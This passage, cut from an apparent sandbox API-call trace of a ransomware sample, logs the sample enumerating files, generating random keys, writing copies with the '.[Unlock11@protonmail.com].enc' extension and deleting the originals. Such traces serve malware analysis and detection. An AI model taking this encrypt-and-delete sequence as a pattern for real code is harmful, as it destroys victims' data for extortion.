dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.782] GetFileType (hFile=0x39c) returned 0x1 [0113.782] GetFileType (hFile=0x39c) returned 0x1 [0113.782] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.782] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.782] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.782] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.782] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.782] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.782] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.782] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.783] GetFileType (hFile=0x3ac) returned 0x1 [0113.783] GetFileType (hFile=0x3ac) returned 0x1 [0113.783] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.783] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.783] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.783] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.783] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.783] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.783] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.787] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x969d) returned 0x36f8548 [0113.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.787] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x96a5) returned 0x36f8548 [0113.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ca8 [0113.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0113.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x96a8) returned 0x3887a10 [0113.788] GetLastError () returned 0x0 [0113.788] GetLastError () returned 0x0 [0113.788] GetLastError () returned 0x0 [0113.788] GetLastError () returned 0x0 [0113.788] GetCurrentThreadId () returned 0x9b0 [0113.788] GetLastError () returned 0x0 [0113.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0113.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.789] GetLastError () returned 0x0 [0113.789] GetLastError () returned 0x0 [0113.789] GetCurrentThreadId () returned 0x9b0 [0113.789] GetLastError () returned 0x0 [0113.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0113.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.790] GetLastError () returned 0x0 [0113.790] GetLastError () returned 0x0 [0113.790] GetCurrentThreadId () returned 0x9b0 [0113.790] GetLastError () returned 0x0 [0113.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.790] GetLastError () returned 0x0 [0113.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.790] CloseHandle (hObject=0x3ac) returned 1 [0113.791] GetLastError () returned 0x0 [0113.791] GetCurrentThreadId () returned 0x9b0 [0113.791] GetLastError () returned 0x0 [0113.791] GetLastError () returned 0x0 [0113.791] CloseHandle (hObject=0x39c) returned 1 [0113.791] GetLastError () returned 0x0 [0113.791] GetCurrentThreadId () returned 0x9b0 [0113.791] GetLastError () returned 0x0 [0113.791] GetLastError () returned 0x0 [0113.791] GetLastError () returned 0x0 [0113.791] GetLastError () returned 0x0 [0113.792] GetLastError () returned 0x0 [0113.792] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0113.793] GetLastError () returned 0x0 [0113.793] GetCurrentThreadId () returned 0x9b0 [0113.793] GetLastError () returned 0x0 [0113.793] GetLastError () returned 0x0 [0113.794] GetLastError () returned 0x0 [0113.794] GetLastError () returned 0x0 [0113.794] GetLastError () returned 0x0 [0113.794] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", lpFilePart=0x9bada4*="Windows6.0-KB956250-v6001-x64.msu") returned 0x37 [0113.794] GetCurrentThreadId () returned 0x9b0 [0113.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0113.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0113.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0113.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0113.794] GetCurrentThreadId () returned 0x9b0 [0113.794] GetLastError () returned 0x0 [0113.794] GetLastError () returned 0x0 [0113.795] GetLastError () returned 0x0 [0113.795] GetLastError () returned 0x0 [0113.795] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", lpFilePart=0x9bada4*="Windows6.0-KB956250-v6001-x86.msu") returned 0x37 [0113.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0113.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0113.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.795] GetCurrentThreadId () returned 0x9b0 [0113.795] GetLastError () returned 0x0 [0113.795] GetLastError () returned 0x0 [0113.795] GetLastError () returned 0x0 [0113.795] GetLastError () returned 0x0 [0113.796] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", lpFilePart=0x9bada4*="Windows6.1-KB958488-v6001-x64.msu") returned 0x37 [0113.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0113.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0113.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0113.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0113.796] GetCurrentThreadId () returned 0x9b0 [0113.796] GetLastError () returned 0x0 [0113.796] GetLastError () returned 0x0 [0113.796] GetLastError () returned 0x0 [0113.796] GetLastError () returned 0x0 [0113.796] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu", lpFilePart=0x9bada4*="Windows6.1-KB958488-v6001-x86.msu") returned 0x37 [0113.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0113.797] GetCurrentThreadId () returned 0x9b0 [0113.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0113.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0113.797] GetLastError () returned 0x0 [0113.797] GetLastError () returned 0x0 [0113.797] GetLastError () returned 0x0 [0113.797] GetLastError () returned 0x0 [0113.797] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f78d0 [0113.798] GetLastError () returned 0x0 [0113.798] GetCurrentThreadId () returned 0x9b0 [0113.798] GetLastError () returned 0x0 [0113.798] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0113.798] GetLastError () returned 0x0 [0113.798] GetCurrentThreadId () returned 0x9b0 [0113.798] GetLastError () returned 0x0 [0113.798] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0113.798] GetLastError () returned 0x0 [0113.798] GetCurrentThreadId () returned 0x9b0 [0113.798] GetLastError () returned 0x0 [0113.799] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0113.799] GetLastError () returned 0x0 [0113.799] GetCurrentThreadId () returned 0x9b0 [0113.799] GetLastError () returned 0x0 [0113.799] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0113.799] GetLastError () returned 0x0 [0113.799] GetCurrentThreadId () returned 0x9b0 [0113.799] GetLastError () returned 0x0 [0113.799] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0113.799] GetLastError () returned 0x12 [0113.799] GetCurrentThreadId () returned 0x9b0 [0113.799] GetLastError () returned 0x12 [0113.799] GetLastError () returned 0x12 [0113.799] FindClose (in: hFindFile=0x10f78d0 | out: hFindFile=0x10f78d0) returned 1 [0113.800] GetCurrentThreadId () returned 0x9b0 [0113.800] GetLastError () returned 0x12 [0113.800] GetLastError () returned 0x12 [0113.800] GetLastError () returned 0x12 [0113.800] GetLastError () returned 0x12 [0113.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0113.800] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0113.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0113.801] GetLastError () returned 0x12 [0113.802] GetLastError () returned 0x12 [0113.802] GetLastError () returned 0x12 [0113.802] GetLastError () returned 0x12 [0113.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.802] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0113.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.802] GetCurrentThreadId () returned 0x9b0 [0113.802] GetLastError () returned 0x12 [0113.802] GetLastError () returned 0x12 [0113.802] GetLastError () returned 0x12 [0113.802] GetLastError () returned 0x12 [0113.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0113.803] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0113.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0113.803] GetCurrentThreadId () returned 0x9b0 [0113.803] GetLastError () returned 0x12 [0113.803] GetLastError () returned 0x12 [0113.803] GetLastError () returned 0x12 [0113.803] GetLastError () returned 0x12 [0113.803] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0113.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0113.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0113.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.804] GetCurrentThreadId () returned 0x9b0 [0113.804] GetLastError () returned 0x12 [0113.804] GetLastError () returned 0x12 [0113.804] GetLastError () returned 0x12 [0113.804] GetLastError () returned 0x12 [0113.804] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0113.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0113.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0113.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.805] GetCurrentThreadId () returned 0x9b0 [0113.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ced0 [0113.805] GetLastError () returned 0x0 [0113.805] GetLastError () returned 0x0 [0113.805] GetLastError () returned 0x0 [0113.805] GetLastError () returned 0x0 [0113.805] GetCurrentThreadId () returned 0x9b0 [0113.805] GetLastError () returned 0x0 [0113.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ced0 | out: hHeap=0x2ad0000) returned 1 [0113.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0113.805] GetLastError () returned 0x0 [0113.806] GetLastError () returned 0x0 [0113.806] GetLastError () returned 0x0 [0113.806] GetLastError () returned 0x0 [0113.806] GetCurrentThreadId () returned 0x9b0 [0113.806] GetLastError () returned 0x0 [0113.806] GetCurrentThreadId () returned 0x9b0 [0113.806] GetLastError () returned 0x0 [0113.806] GetLastError () returned 0x0 [0113.806] GetLastError () returned 0x0 [0113.806] GetLastError () returned 0x0 [0113.806] GetCurrentThreadId () returned 0x9b0 [0113.806] GetLastError () returned 0x0 [0113.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cdb8 | out: hHeap=0x2ad0000) returned 1 [0113.807] GetLastError () returned 0x0 [0113.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0113.807] GetLastError () returned 0x0 [0113.807] GetLastError () returned 0x0 [0113.807] GetLastError () returned 0x0 [0113.807] GetCurrentThreadId () returned 0x9b0 [0113.807] GetLastError () returned 0x0 [0113.807] GetLastError () returned 0x0 [0113.807] GetLastError () returned 0x0 [0113.807] GetLastError () returned 0x0 [0113.807] GetLastError () returned 0x0 [0113.807] GetCurrentThreadId () returned 0x9b0 [0113.808] GetLastError () returned 0x0 [0113.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0113.808] GetLastError () returned 0x0 [0113.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0113.808] GetLastError () returned 0x0 [0113.808] GetLastError () returned 0x0 [0113.808] GetLastError () returned 0x0 [0113.808] GetCurrentThreadId () returned 0x9b0 [0113.808] GetLastError () returned 0x0 [0113.808] GetCurrentThreadId () returned 0x9b0 [0113.808] GetLastError () returned 0x0 [0113.808] GetLastError () returned 0x0 [0113.809] GetLastError () returned 0x0 [0113.809] GetLastError () returned 0x0 [0113.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.809] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6)) returned 1 [0113.809] GetLastError () returned 0x0 [0113.809] GetCurrentThreadId () returned 0x9b0 [0113.809] GetLastError () returned 0x0 [0113.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.809] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662f5c | out: pbBuffer=0x3662f5c) returned 1 [0113.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0113.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0113.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0113.810] GetCurrentThreadId () returned 0x9b0 [0113.810] GetLastError () returned 0x0 [0113.810] GetLastError () returned 0x0 [0113.810] GetLastError () returned 0x0 [0113.810] GetLastError () returned 0x0 [0113.810] GetCurrentThreadId () returned 0x9b0 [0113.810] GetLastError () returned 0x0 [0113.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0113.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0113.811] GetCurrentThreadId () returned 0x9b0 [0113.811] GetLastError () returned 0x0 [0113.811] GetLastError () returned 0x0 [0113.811] GetLastError () returned 0x0 [0113.811] GetLastError () returned 0x0 [0113.811] GetCurrentThreadId () returned 0x9b0 [0113.811] GetLastError () returned 0x0 [0113.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0113.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c38 [0113.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0113.811] GetLastError () returned 0x0 [0113.811] GetLastError () returned 0x0 [0113.812] GetLastError () returned 0x0 [0113.812] GetLastError () returned 0x0 [0113.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bc8 [0113.812] GetLastError () returned 0x0 [0113.812] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.812] GetFileType (hFile=0x39c) returned 0x1 [0113.812] GetLastError () returned 0x0 [0113.812] GetCurrentThreadId () returned 0x9b0 [0113.812] GetLastError () returned 0x0 [0113.813] GetFileType (hFile=0x39c) returned 0x1 [0113.813] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.813] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.813] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.813] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.813] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.813] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.813] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.813] GetLastError () returned 0x0 [0113.813] GetCurrentThreadId () returned 0x9b0 [0113.813] GetLastError () returned 0x0 [0113.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bc8 | out: hHeap=0x2ad0000) returned 1 [0113.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0113.814] GetLastError () returned 0x0 [0113.814] GetLastError () returned 0x0 [0113.814] GetLastError () returned 0x0 [0113.814] GetLastError () returned 0x0 [0113.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bd8 [0113.814] GetLastError () returned 0x0 [0113.814] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.824] GetFileType (hFile=0x3ac) returned 0x1 [0113.824] GetLastError () returned 0x0 [0113.824] GetCurrentThreadId () returned 0x9b0 [0113.824] GetLastError () returned 0x0 [0113.824] GetFileType (hFile=0x3ac) returned 0x1 [0113.824] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.824] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.824] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.824] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.824] 